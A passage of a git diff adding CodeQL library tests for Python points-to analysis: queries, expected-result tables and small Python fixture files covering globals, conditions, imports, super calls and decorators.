d_globals.py:107 | glob | Exit node for Function redefine | +| d_globals.py:107 | z | Exit node for Function redefine | +| d_globals.py:109 | z | ControlFlowNode for z | +| d_globals.py:111 | z | ControlFlowNode for z | +| d_globals.py:112 | glob | ControlFlowNode for glob | +| d_globals.py:114 | glob | ControlFlowNode for glob | +| d_globals.py:118 | __init__ | Exit node for Class D | +| d_globals.py:118 | foo | Exit node for Class D | +| d_globals.py:118 | object | ControlFlowNode for object | +| d_globals.py:120 | g1 | Exit node for Function __init__ | +| d_globals.py:120 | g2 | Exit node for Function __init__ | +| d_globals.py:120 | g3 | Exit node for Function __init__ | +| d_globals.py:120 | g4 | Exit node for Function __init__ | +| d_globals.py:120 | glob | Exit node for Function __init__ | +| d_globals.py:120 | self | Exit node for Function __init__ | +| d_globals.py:120 | z | Exit node for Function __init__ | +| d_globals.py:123 | g1 | Exit node for Function foo | +| d_globals.py:123 | g2 | Exit node for Function foo | +| d_globals.py:123 | g3 | Exit node for Function foo | +| d_globals.py:123 | g4 | Exit node for Function foo | +| d_globals.py:123 | glob | Exit node for Function foo | +| d_globals.py:123 | self | Exit node for Function foo | +| d_globals.py:123 | z | Exit node for Function foo | +| d_globals.py:124 | dict | ControlFlowNode for dict | +| d_globals.py:126 | g1 | Exit node for Function use_list_attribute | +| d_globals.py:126 | g2 | Exit node for Function use_list_attribute | +| d_globals.py:126 | g3 | Exit node for Function use_list_attribute | +| d_globals.py:126 | g4 | Exit node for Function use_list_attribute | +| d_globals.py:126 | glob | Exit node for Function use_list_attribute | +| d_globals.py:126 | l | Exit node for Function use_list_attribute | +| d_globals.py:126 | z | Exit node for Function use_list_attribute | +| d_globals.py:128 | g1 | ControlFlowNode for Attribute() | +| d_globals.py:128 | g2 | ControlFlowNode for Attribute() | +| d_globals.py:128 | g3 | ControlFlowNode for Attribute() | +| d_globals.py:128 | g4 | ControlFlowNode for Attribute() | +| d_globals.py:128 | glob | ControlFlowNode for Attribute() | +| d_globals.py:128 | l | ControlFlowNode for l | +| d_globals.py:128 | list | ControlFlowNode for list | +| d_globals.py:128 | z | ControlFlowNode for Attribute() | +| d_globals.py:129 | l | ControlFlowNode for l | diff --git a/python/ql/test/library-tests/PointsTo/new/VarUses.ql b/python/ql/test/library-tests/PointsTo/new/VarUses.ql new file mode 100644 index 00000000000..a8b8b276d47 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/VarUses.ql @@ -0,0 +1,9 @@ + +import python +import semmle.dataflow.SSA +import semmle.python.pointsto.PointsTo +import Util + +from SsaSourceVariable var, ControlFlowNode use +where use = var.getAUse() or var.hasRefinement(use, _) +select locate(use.getLocation(), "abd"), var.getName(), use.toString() diff --git a/python/ql/test/library-tests/PointsTo/new/code/__init__.py b/python/ql/test/library-tests/PointsTo/new/code/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/PointsTo/new/code/a_simple.py b/python/ql/test/library-tests/PointsTo/new/code/a_simple.py new file mode 100644 index 00000000000..e3eaf6b3f28 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/a_simple.py @@ -0,0 +1,36 @@ + +f1 = 1.0 +dict +tuple +i1 = 0 +s = () + +def func(): + pass + +class C(object): + pass + +def vararg_kwarg(*t, **d): + t + d + +def multi_loop(seq): + x = None + for x, y in seq: + x + +def with_definition(x): + with x as y: + y + +def multi_loop_in_try(x): + try: # This causes additional exception edges, such that: + for p, q in x: # `x` and `p` are not in the same BB. + p + except KeyError: + pass + +def f(*args, **kwargs): + not args[0] + not kwargs["x"] diff --git a/python/ql/test/library-tests/PointsTo/new/code/b_condition.py b/python/ql/test/library-tests/PointsTo/new/code/b_condition.py new file mode 100644 index 00000000000..7574955ca96 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/b_condition.py @@ -0,0 +1,108 @@ + +#Edge guards, aka pi-nodes. + +def f(y): + x = unknown() if cond else None + + if x is None: + x = 7 + use(x) + + x = unknown() if cond else None + + if x is not None: + x = 7 + use(x) + + x = unknown() if cond else None + + if not x: + x = None + use(x) + + x = unknown() if cond else None + + x = x if x else 1 + use(x) + if unknown(): + x = 1 + use(x) + + x = unknown() if cond else 1 + if not x: #Negation + x = 7 + use(x) + + assert isinstance(x, int) + use(x) + +v2 = thing() + +v2.x = 1 +if v2.y is not None: + use(v2.x) + use(v2.y) + +#A home for pi and phi-nodes +pass + + +def g(x): + if x: + x + +#Dead pi- and phi-nodes +def loop(seq): + for v in seq: + if v: + use(v) + +#This was causing the sanity check to fail, +def double_attr_check(x, y): + if x.b == 3: + return + if y: + if (x.a == 0 and + x.a in seq): + return + +def h(): + b = unknown() if cond else True + if not b: + b = 7 + return b + +def k(): + t = type + if t is not object: + t = object + use(t) + +def odasa6261(foo=True): + if callable(foo): + def bar(): + return foo() + +#Splittings with boolean expressions: +def split_bool1(x=None,y=None): + if x and y: + raise + if not (x or y): + raise + if x: + use(y) + else: + use(y) + if y: + use(x) + else: + use(x) + +def not_or_not(*a): + if not isinstance(a, (tuple, list)): + raise TypeError() + if (not a or + not a[0]): + raise Exception() + "Hello" + diff --git a/python/ql/test/library-tests/PointsTo/new/code/c_tests.py b/python/ql/test/library-tests/PointsTo/new/code/c_tests.py new file mode 100644 index 00000000000..206157c0c68 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/c_tests.py @@ -0,0 +1,101 @@ + +#Edge guards, aka pi-nodes. + +def f(y): + x = unknown() if cond else None + + if x is None: + pass + + x = 0 if cond else 1 + + if x: + pass + + x = 0 if cond else 1 + + if x == 0: + pass + + + x = ((1,2) if cond else (1,2,3)) if unknown() else [1,2] + + if len(x): + pass + + if len(x) == 2: + pass + + if isinstance(x, tuple): + pass + + y.a = unknown() if cond else None + + if y.a is None: + pass + + y.a = 0 if cond else 1 + + if y.a: + pass + + y.a = 0 if cond else 1 + + if y.a == 0: + pass + + + y.a = ((1,2) if cond else (1,2,3)) if unknown() else [1,2] + + if isinstance(y.a, tuple): + pass + + if len(y.a) == 2: + pass + +def others(x): + + x = bool if cond else type + + if issubclass(x, int): + pass + + x = 0 if cond else float + + if hasattr(x, "bit_length"): + pass + + if callable(x): + pass + +def compound(x=1, y=0): + + if x or y: + x + y + + if x and y: + x + y + +def h(): + b = unknown() if cond else True + if b: + pass + b = unknown() if cond else True + if not b: + pass + + if unknown() == 3: + pass + + x = unknown() if cond else None + if x: + pass + + x = unknown() if cond else None + if not x: + pass + +def complex_test(x): # Was failing sanity check. + if not (foo(x) and bar(x)): + use(x) + pass diff --git a/python/ql/test/library-tests/PointsTo/new/code/d_globals.py b/python/ql/test/library-tests/PointsTo/new/code/d_globals.py new file mode 100644 index 00000000000..72a063b2a75 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/d_globals.py @@ -0,0 +1,130 @@ + +def j(): + return tuple, dict +dict +dict = 7 +dict +tuple = tuple +tuple + + + + +#Global assignment in local scope +g1 = None + +def assign_global(): + global g1 + g1 = 101 + return g1 # Cannot be None + +#Assignment in local scope, but called from module level + +g2 = None + +def init(): + global g2 + g2 = 102 + +init() +g2 # Cannot be None + +#Global set in init method +g3 = None + +class Ugly(object): + + def __init__(self): + global g3 + g3 = 103 + + def meth(self): + return g3 # Cannot be None + +#Redefine +x = 0 +x = 1 +x +if cond: + x = 3 + +if other_cond: + y = 1 +else: + y = 2 + if cond3: + pass + else: + pass +y +v3 + +class X(object): + y = y + v4 = v3 + X # Undefined + g3 + +type + +def k(arg): + type + +g4 = None + +def get_g4(): + if not g4: + set_g4() + return g4 # Cannot be None + +def set_g4(): + set_g4_indirect() + +def set_g4_indirect(): + global g4 + g4 = False + +class modinit(object): #ODASA-5486 + + global z + z = 0 + +del modinit + +#ODASA-4688 +def outer(): + def inner(): + global glob + glob = 100 + return glob + + def otherInner(): + return glob + + inner() + + +def redefine(): + global z, glob + z + z = 1 + z + glob + glob = 50 + glob + + + +class D(object): + + def __init__(self): + pass + + def foo(self): + return dict + +def use_list_attribute(): + l = [] + list.append(l, 0) + return l + diff --git a/python/ql/test/library-tests/PointsTo/new/code/e_temporal.py b/python/ql/test/library-tests/PointsTo/new/code/e_temporal.py new file mode 100644 index 00000000000..c71154f91d9 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/e_temporal.py @@ -0,0 +1,12 @@ + +import sys + +def f(): + len(sys.argv) > 3 # Should be defined, as call to f() precedes import of sys. + #The return is completely unconditional, so we can safely infer that calls to f() return 1. + return 1 + +def g(arg): + return arg + +x = g(f()) diff --git a/python/ql/test/library-tests/PointsTo/new/code/f_finally.py b/python/ql/test/library-tests/PointsTo/new/code/f_finally.py new file mode 100644 index 00000000000..bfc42c08e32 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/f_finally.py @@ -0,0 +1,11 @@ +class Queue(object): + + def close(self): + self._closed = True + try: + self._reader.close() + finally: + close = self._close + if close: + self._close = None + close() # FP was here: None on exceptional branch diff --git a/python/ql/test/library-tests/PointsTo/new/code/g_class_init.py b/python/ql/test/library-tests/PointsTo/new/code/g_class_init.py new file mode 100644 index 00000000000..6fc385c0b24 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/g_class_init.py @@ -0,0 +1,54 @@ + +#Convoluted object initialisation and self attribute use. +class C(object): + + def __init__(self): + self._init() + self.x = 1 + + def _init(self): + self.y = 2 + self._init2() + + def _init2(self): + self.z = 3 + + def method(self): + use(self.x) + if isinstance(self.y, int): + use(self.y) + use(self.z) + pass # Give phi nodes a location + + +class Oddities(object): + + int = int + float = float + l = len + h = hash + + +class D(object): + + def __init__(self): + super(D, self).x + return super(D, self).__init__() + + + +#ODASA-4519 +#OK as we are using identity tests for unique objects +V2 = "v2" +V3 = "v3" + +class E(object): + def __init__(self, c): + if c: + self.version = V2 + else: + self.version = V3 + + def meth(self): + if self.version is V2: #FP here. + pass diff --git a/python/ql/test/library-tests/PointsTo/new/code/h_classes.py b/python/ql/test/library-tests/PointsTo/new/code/h_classes.py new file mode 100644 index 00000000000..c5077942c0d --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/h_classes.py @@ -0,0 +1,54 @@ +import sys + +class C(object): + + x = 'C_x' + + def __init__(self): + self.y = 'c_y' + +type(C()) +type(sys) +type(name, (object,), {}) + +def k(arg): + type(C()) + type(sys) + type(arg) + type(name, (object,), {}) + + +#ODASA-3263 +#Django does this +class Base(object): + + def __init__(self, choice): + if choice == 1: + self.__class__ = Derived1 + elif choice == 2: + self.__class__ = Derived2 + else: + self.__class__ = Derived3 + +class Derived1(Base): + pass + +class Derived2(Base): + pass + +class Derived3(Base): + pass + +thing = Base(unknown()) + + +def f(arg0, arg1, arg2): + pass + +class D(object): + + m = f #Use function as a method. + + def n(self, arg1): + pass + diff --git a/python/ql/test/library-tests/PointsTo/new/code/i_imports.py b/python/ql/test/library-tests/PointsTo/new/code/i_imports.py new file mode 100644 index 00000000000..5c8bc52b7b6 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/i_imports.py @@ -0,0 +1,38 @@ + + +a = 1 +b = 2 +c = 3 + +from .xyz import * +from . import xyz +xyz.x +z +a + +from sys import argv +#Check that points-to has inserted origin +argv + +import sys +sys.argv + + + + +import code.package.x +code.package.x + + +from code.test_package import * +# https://bugs.python.org/issue18602 +import _io +StringIO = _io.StringIO +BytesIO = _io.BytesIO + +import io +StringIO = io.StringIO +BytesIO = io.BytesIO + +import code.n_nesting +code.n_nesting.f2() diff --git a/python/ql/test/library-tests/PointsTo/new/code/j_convoluted_imports.py b/python/ql/test/library-tests/PointsTo/new/code/j_convoluted_imports.py new file mode 100644 index 00000000000..f22dd560be3 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/j_convoluted_imports.py @@ -0,0 +1,17 @@ + +from code.package \ +import module + +from code.package \ +import x +#Should work correctly in nested scopes as well. + +class C(object): + + from code.package import module2 + + def f(self): + from code.package import x + +from code.package import moduleX +moduleX.Y diff --git a/python/ql/test/library-tests/PointsTo/new/code/k_getsetattr.py b/python/ql/test/library-tests/PointsTo/new/code/k_getsetattr.py new file mode 100644 index 00000000000..cd9604f7c7e --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/k_getsetattr.py @@ -0,0 +1,31 @@ + +#Make sure that we handle getattr and setattr as well as they are needed for protobuf stubs. + +class C(object): + + def meth1(self): + setattr(self, "a", 0) + setattr(self, "b", 1) + getattr(self, "a") + getattr(self, "c") + + def meth2(self): + setattr(self, "a", 7.0) + setattr(self, "c", 2) + self.meth1() + getattr(self, "a") + getattr(self, "b") + getattr(self, "c") + +#Locally redefined attribute +def k(cond): + c1 = C() + c2 = C() + c3 = C() + c1.a = 10 + if cond: + c2.a = 20 + c1.a + c2.a + c3.a + c3.a = 30 diff --git a/python/ql/test/library-tests/PointsTo/new/code/l_calls.py b/python/ql/test/library-tests/PointsTo/new/code/l_calls.py new file mode 100644 index 00000000000..d49f373cec4 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/l_calls.py @@ -0,0 +1,26 @@ + + +def foo(x = []): + return x.append("x") + +def bar(x = []): + return len(x) + +foo() +bar() + +class Owner(object): + + @classmethod + def cm(cls, arg): + return cls + + @classmethod + def cm2(cls, arg): + return arg + + #Normal method + def m(self): + a = self.cm(0) + return a.cm2(1) + diff --git a/python/ql/test/library-tests/PointsTo/new/code/m_attributes.py b/python/ql/test/library-tests/PointsTo/new/code/m_attributes.py new file mode 100644 index 00000000000..1ac04de0bfd --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/m_attributes.py @@ -0,0 +1,13 @@ + + +class C(object): + + def __init__(self, a=17): + self.a = a + + def foo(self, other): + self.a + other.a + +C().foo(C()) +C().foo(C(100)) diff --git a/python/ql/test/library-tests/PointsTo/new/code/n_nesting.py b/python/ql/test/library-tests/PointsTo/new/code/n_nesting.py new file mode 100644 index 00000000000..c3c630e55cd --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/n_nesting.py @@ -0,0 +1,34 @@ + +# Guarded inner closure creation +# See ODASA-6212 +# TO DO: +# 1. Split on tests that control closure creation +# 2. Link scope-entry definition at inner scope entry +# to the corresponding exit definition. +def foo(compile_ops=True): + if callable(compile_ops): + def inner(node_def): + return compile_ops(node_def) + else: + def inner(node_def): + return compile_ops(node_def) + attrs = { + "inner": inner + } + return attrs + +#Track globals across deeply nested calls-- ODASA-6673 + +def f1(): + C.flag = 1 # Sufficiently deeply nested that we won't track `C` to here in the import context +def f2(): + f1() +def f3(): + f2() +def f4(): + f3() +class C(object): pass +f4() +class D(C): # But we should track `C` to here even though we can't track all the way down to `f1` + pass +C = 1 diff --git a/python/ql/test/library-tests/PointsTo/new/code/o_no_returns.py b/python/ql/test/library-tests/PointsTo/new/code/o_no_returns.py new file mode 100644 index 00000000000..0ca6e48c3cb --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/o_no_returns.py @@ -0,0 +1,26 @@ +#Test for ODASA-6418 + +import sys + +def bar(cond): + if cond: + fail("cond true") + + +def fail(message, *args): + write('Error:', message % args, file=sys.stderr) + sys.exit(1) + +def foo(cond): + bar() + +# To get the FP result reported in ODASA-6418, the following must hold: +#bar must be called directly (not transitively) from the module scope +#bar must precede fail +#The call to bar must follow fail +bar(unknown()) + +#The following do not trigger the bug +#foo(unknown()) +#pass + diff --git a/python/ql/test/library-tests/PointsTo/new/code/p_decorators.py b/python/ql/test/library-tests/PointsTo/new/code/p_decorators.py new file mode 100644 index 00000000000..d06f14f988b --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/p_decorators.py @@ -0,0 +1,34 @@ + + +def simple(func): + func.__annotation__ = "Hello" + return func + +@simple +def foo(): + pass + +def complex(msg): + def annotate(func): + func.__annotation__ = msg + return func + return annotate + +@complex("Hi") +def bar(): + pass + +foo +bar + +class C(object): + + @staticmethod + def smeth(arg0, arg1): + arg0 + arg1 + + @classmethod + def cmeth(cls, arg0): + cls + arg0 diff --git a/python/ql/test/library-tests/PointsTo/new/code/package/__init__.py b/python/ql/test/library-tests/PointsTo/new/code/package/__init__.py new file mode 100644 index 00000000000..6a76e9ee942 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/package/__init__.py @@ -0,0 +1,15 @@ +from .module \ +import module + +from . import module2 as module3 +module2 = 7 +from . import module2 as module4 +from . import module3 as module5 +from code.package import moduleX + +#We should now have: +#module2 = 7 +#module3 = package.module2 +#module4 = 7 +#module5 = package.module2 +#moduleX = package.moduleX diff --git a/python/ql/test/library-tests/PointsTo/new/code/package/module.py b/python/ql/test/library-tests/PointsTo/new/code/package/module.py new file mode 100644 index 00000000000..008b713d67e --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/package/module.py @@ -0,0 +1,3 @@ + +def module(args): + pass diff --git a/python/ql/test/library-tests/PointsTo/new/code/package/module2.py b/python/ql/test/library-tests/PointsTo/new/code/package/module2.py new file mode 100644 index 00000000000..3aea0c58ce5 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/package/module2.py @@ -0,0 +1 @@ +x = 0 diff --git a/python/ql/test/library-tests/PointsTo/new/code/package/moduleX.py b/python/ql/test/library-tests/PointsTo/new/code/package/moduleX.py new file mode 100644 index 00000000000..3b39b8c0985 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/package/moduleX.py @@ -0,0 +1,2 @@ +class Y(object): + pass \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/new/code/package/x.py b/python/ql/test/library-tests/PointsTo/new/code/package/x.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/PointsTo/new/code/q_super.py b/python/ql/test/library-tests/PointsTo/new/code/q_super.py new file mode 100644 index 00000000000..174f3227dbb --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/q_super.py @@ -0,0 +1,76 @@ +class Base2(object): + + def __init__(self): + super(Base2, self).__init__() + + + +class Derived4(Base2): + + def __init__(self): + super(Base2, self) + return super(Derived4, self).__init__() + +class Base1(object): + + def meth(self): + return 7 + +class Derived1(Base1): + + def meth(self): + return super(Derived1, self).meth() + +class Derived2(Derived1): + + def meth(self): + return super(Derived2, self).meth() + +class Derived5(Derived1): + + def meth(self): + return super(Derived5, self).meth() + +#Incorrect use of super() +class Wrong1(Derived5, Derived2): + + def meth(self): + return super(Derived5, self).meth() + +#ODASA-5799 +class DA(object): + + def __init__(self): + do_something() + +class DB(DA): + + class DC(DA): + + def __init__(self): + sup = super(DB.DC, self) + sup.__init__() + +#Simpler variants +class DD(DA): + + def __init__(self): + sup = super(DD, self) + sup.__init__() + +class DE(DA): + + class DF(DA): + + def __init__(self): + super(DE.DF, self).__init__() + +class N(object): + pass + +class M(N): + + def __init__(self): + s = super(M, self) + i = s.__init__ + i() diff --git a/python/ql/test/library-tests/PointsTo/new/code/r_regressions.py b/python/ql/test/library-tests/PointsTo/new/code/r_regressions.py new file mode 100644 index 00000000000..5579de3da8e --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/r_regressions.py @@ -0,0 +1,98 @@ +#Assorted regressions and test cases + +# FP for None spotted during development +# in multiprocessing/queue.py +class Queue(object): + + def __init__(self): + + self._after_fork() + + def _after_fork(self): + self._closed = False + self._close = None + + def close(self): + self._closed = True + try: + self._reader.close() + finally: + close = self._close + if close: + self._close = None + close() # FP was here: None on exceptional branch + + +#ODASA-5018 +def f(x,y=None, z=0): + if ( + x + and + y + ) or ( + y + and + not + z + ): + #y cannot be None here. + use(y) + +#from Ansible +def find_library(name): + [data, _] = x() + return data + +def fail(msg): + pass + +class C(object): + + def fail(self, msg): + fail(msg) + +#The following challenge is provided for us by Django... + +# The challenge here is that the decorator returned by this functions returns a different object +# depending on whether its argument is a class or not. +def method_decorator(decorator, name=''): + # Original django comment and docstring removed. + + def _dec(obj): + is_class = isinstance(obj, type) + if is_class: + do_validation() + else: + func = obj + + def _wrapper(self, *args, **kwargs): + #Doesn't matter what this does. + pass + + if is_class: + setattr(obj, name, _wrapper) + return obj # If obj is a class, we return it. + + return _wrapper # Otherwise we return the wrapper function. + + return _dec + +def deco(func): + def _wrapper(*args, **kwargs): + return True + return _wrapper + +@method_decorator(deco, "method") +class TestFirst(object): + def method(self): + return "hello world" + +TestFirst().method() # TestFirst here should be the class, not the wrapper function... + + +import sys + +_names = sys.builtin_module_names + +if 'time' in _names: + import time as t diff --git a/python/ql/test/library-tests/PointsTo/new/code/s_scopes.py b/python/ql/test/library-tests/PointsTo/new/code/s_scopes.py new file mode 100644 index 00000000000..ca6a4796a92 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/s_scopes.py @@ -0,0 +1,24 @@ + +#Global or builtin +if a: + float = True +pass + +class C2(object): + + i1 = int + f1 = float + #local + int = 0 + if b: + #local or builtin + str = 1.0 + #local, global or builtin + float = None + i2 = int + s = str + f2 = float + +x = x +i = int +f = float diff --git a/python/ql/test/library-tests/PointsTo/new/code/t_type.py b/python/ql/test/library-tests/PointsTo/new/code/t_type.py new file mode 100644 index 00000000000..2cbca18846f --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/t_type.py @@ -0,0 +1,16 @@ +import sys + +class C(object): + pass + +type(C()) +type(sys) +from module import unknown +type(unknown) +type(name, (object,), {}) + +def k(arg): + type(C()) + type(sys) + type(arg) + type(name, (object,), {}) diff --git a/python/ql/test/library-tests/PointsTo/new/code/test_package/__init__.py b/python/ql/test/library-tests/PointsTo/new/code/test_package/__init__.py new file mode 100644 index 00000000000..0000c542f77 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/test_package/__init__.py @@ -0,0 +1,3 @@ +from .module1 import * +from .module2 import * +import sys \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/new/code/test_package/module1.py b/python/ql/test/library-tests/PointsTo/new/code/test_package/module1.py new file mode 100644 index 00000000000..19bd2408d56 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/test_package/module1.py @@ -0,0 +1,6 @@ +__all__ = [ 'p', 'q', 'r' ] + +p = 1 +q = 2 +r = 3 +s = 4 diff --git a/python/ql/test/library-tests/PointsTo/new/code/test_package/module2.py b/python/ql/test/library-tests/PointsTo/new/code/test_package/module2.py new file mode 100644 index 00000000000..126afeb5204 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/test_package/module2.py @@ -0,0 +1,6 @@ +__all__ = [ 'r', 's'] + +p = [] +q = () +r = {} +s = None diff --git a/python/ql/test/library-tests/PointsTo/new/code/u_paired_values.py b/python/ql/test/library-tests/PointsTo/new/code/u_paired_values.py new file mode 100644 index 00000000000..5c6dabea361 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/u_paired_values.py @@ -0,0 +1,15 @@ + +def return_if_true(cond, val): + if cond: + return val + raise Exception() + +def test(cond): + x = return_if_true(True, 1) if cond else return_if_true(False, 2) + return x + +y = test(True) +y + +z = test(False) +z diff --git a/python/ql/test/library-tests/PointsTo/new/code/xyz.py b/python/ql/test/library-tests/PointsTo/new/code/xyz.py new file mode 100644 index 00000000000..392054917df --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/code/xyz.py @@ -0,0 +1,4 @@ + +x = 1.0 +y = 2.0 +z = 3.0 diff --git a/python/ql/test/library-tests/PointsTo/new/options b/python/ql/test/library-tests/PointsTo/new/options new file mode 100644 index 00000000000..8e16f310b52 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/options @@ -0,0 +1,2 @@ +semmle-extractor-options: --max-import-depth=4 +optimize: true diff --git a/python/ql/test/library-tests/PointsTo/new/test.py b/python/ql/test/library-tests/PointsTo/new/test.py new file mode 100644 index 00000000000..04176e98a74 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/test.py @@ -0,0 +1 @@ +from code import * diff --git a/python/ql/test/library-tests/PointsTo/returns/Test.expected b/python/ql/test/library-tests/PointsTo/returns/Test.expected new file mode 100644 index 00000000000..1bffc0d741c --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/returns/Test.expected @@ -0,0 +1,10 @@ +| Function f | builtin-class NoneType | +| Function f | builtin-class int | +| Function g | builtin-class NoneType | +| Function g | builtin-class float | +| Function g | builtin-class int | +| Function gen | builtin-class generator | +| Function h | builtin-class NoneType | +| Function h | builtin-class float | +| Function h | builtin-class int | +| Function not_none | builtin-class bool | diff --git a/python/ql/test/library-tests/PointsTo/returns/Test.ql b/python/ql/test/library-tests/PointsTo/returns/Test.ql new file mode 100644 index 00000000000..a30d0ef1c76 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/returns/Test.ql @@ -0,0 +1,4 @@ +import python + +from PyFunctionObject f +select f.toString(), f.getAnInferredReturnType().toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/returns/options b/python/ql/test/library-tests/PointsTo/returns/options new file mode 100644 index 00000000000..58ad829f5a8 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/returns/options @@ -0,0 +1 @@ +optimize: true diff --git a/python/ql/test/library-tests/PointsTo/returns/test.py b/python/ql/test/library-tests/PointsTo/returns/test.py new file mode 100644 index 00000000000..af38b8064a3 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/returns/test.py @@ -0,0 +1,35 @@ + + + +def f(x): + if x: + return 1 + else: + return None + +def g(x, y): + if x: + return f(y) + else: + return 0.7 + +def h(a, b, c, d): + t = f(a) + v = g(b, c) + if d: + return t + else: + return v + +h(1,2,3,4) + +def not_none(a, b): + if a: + return True + elif b: + return False + #No fall through + raise Exception() + +def gen(): + yield 0 diff --git a/python/ql/test/library-tests/PointsTo/super/SuperMethodCall.expected b/python/ql/test/library-tests/PointsTo/super/SuperMethodCall.expected new file mode 100644 index 00000000000..69843b15d9d --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/super/SuperMethodCall.expected @@ -0,0 +1,9 @@ +| 4 | ControlFlowNode for Attribute() | object.__init__ | +| 12 | ControlFlowNode for Attribute() | Base2.__init__ | +| 22 | ControlFlowNode for Attribute() | Base1.meth | +| 27 | ControlFlowNode for Attribute() | Derived1.meth | +| 32 | ControlFlowNode for Attribute() | Derived1.meth | +| 38 | ControlFlowNode for Attribute() | Derived2.meth | +| 52 | ControlFlowNode for Attribute() | DA.__init__ | +| 59 | ControlFlowNode for Attribute() | DA.__init__ | +| 66 | ControlFlowNode for Attribute() | DA.__init__ | diff --git a/python/ql/test/library-tests/PointsTo/super/SuperMethodCall.ql b/python/ql/test/library-tests/PointsTo/super/SuperMethodCall.ql new file mode 100644 index 00000000000..4df31ff0478 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/super/SuperMethodCall.ql @@ -0,0 +1,9 @@ + +import python +import semmle.python.pointsto.PointsTo +import semmle.python.pointsto.PointsToContext + +from CallNode call, FunctionObject method +where PointsTo::Test::super_method_call(_, call, _, method) +select call.getLocation().getStartLine(), call.toString(), method.getQualifiedName() + diff --git a/python/ql/test/library-tests/PointsTo/super/test.py b/python/ql/test/library-tests/PointsTo/super/test.py new file mode 100644 index 00000000000..a5e8411b28d --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/super/test.py @@ -0,0 +1,66 @@ +class Base2(object): + + def __init__(self): + super(Base2, self).__init__() + + + +class Derived4(Base2): + + def __init__(self): + super(Base2, self) + return super(Derived4, self).__init__() + +class Base1(object): + + def meth(self): + pass + +class Derived1(Base1): + + def meth(self): + return super(Derived1, self).meth() + +class Derived2(Derived1): + + def meth(self): + return super(Derived2, self).meth() + +class Derived5(Derived1): + + def meth(self): + return super(Derived5, self).meth() + +#Incorrect use of super() +class Wrong1(Derived5, Derived2): + + def meth(self): + return super(Derived5, self).meth() + +#ODASA-5799 +class DA(object): + + def __init__(self): + do_something() + +class DB(DA): + + class DC(DA): + + def __init__(self): + sup = super(DB.DC, self) + sup.__init__() + +#Simpler variants +class DD(DA): + + def __init__(self): + sup = super(DD, self) + sup.__init__() + +class DE(DA): + + class DF(DA): + + def __init__(self): + super(DE.DF, self).__init__() diff --git a/python/ql/test/library-tests/PointsTo/version/VersionGuard.expected b/python/ql/test/library-tests/PointsTo/version/VersionGuard.expected new file mode 100644 index 00000000000..0a6b31a762d --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/version/VersionGuard.expected @@ -0,0 +1,3 @@ +| 25 | BasicBlock | 2 | +| 28 | BasicBlock | 3 | +| 41 | BasicBlock | 2 | diff --git a/python/ql/test/library-tests/PointsTo/version/VersionGuard.ql b/python/ql/test/library-tests/PointsTo/version/VersionGuard.ql new file mode 100644 index 00000000000..03bfb33a3f3 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/version/VersionGuard.ql @@ -0,0 +1,9 @@ + +import python +import semmle.python.types.Version + +from VersionGuard vg, Location l, int v +where l = vg.getLastNode().getLocation() and +l.getFile().getName().matches("%test.py") +and (if vg.isTrue() then v = major_version() else v = 5-major_version()) +select l.getStartLine(), vg.toString(), v \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/version/VersionTest.expected b/python/ql/test/library-tests/PointsTo/version/VersionTest.expected new file mode 100644 index 00000000000..fd0c9160574 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/version/VersionTest.expected @@ -0,0 +1,15 @@ +| 15 | ControlFlowNode for Compare | 2 | +| 22 | ControlFlowNode for Compare | 2 | +| 23 | ControlFlowNode for Compare | 3 | +| 51 | ControlFlowNode for Compare | 2 | +| 52 | ControlFlowNode for Compare | 3 | +| 54 | ControlFlowNode for Compare | 2 | +| 55 | ControlFlowNode for Compare | 3 | +| 57 | ControlFlowNode for Compare | 2 | +| 58 | ControlFlowNode for Compare | 3 | +| 59 | ControlFlowNode for Compare | 3 | +| 60 | 